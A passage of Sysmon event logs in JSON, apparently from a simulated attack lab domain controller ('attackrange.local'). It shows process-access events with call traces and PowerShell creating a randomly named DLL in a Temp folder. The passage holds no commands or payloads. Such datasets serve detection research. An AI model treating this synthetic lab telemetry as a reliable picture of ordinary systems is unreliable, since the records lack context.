C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010D5740700}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010D5740700}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.493\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.493","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.493\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.493","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.493\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.493","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:14.899\r\nProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nProcessId: 4428\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\5j4udmlc.dll\r\nCreationUtcTime: 2020-08-07 11:56:14.899","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:14.899","ProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\5j4udmlc.dll","CreationUtcTime":"2020-08-07 11:56:14.899","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: 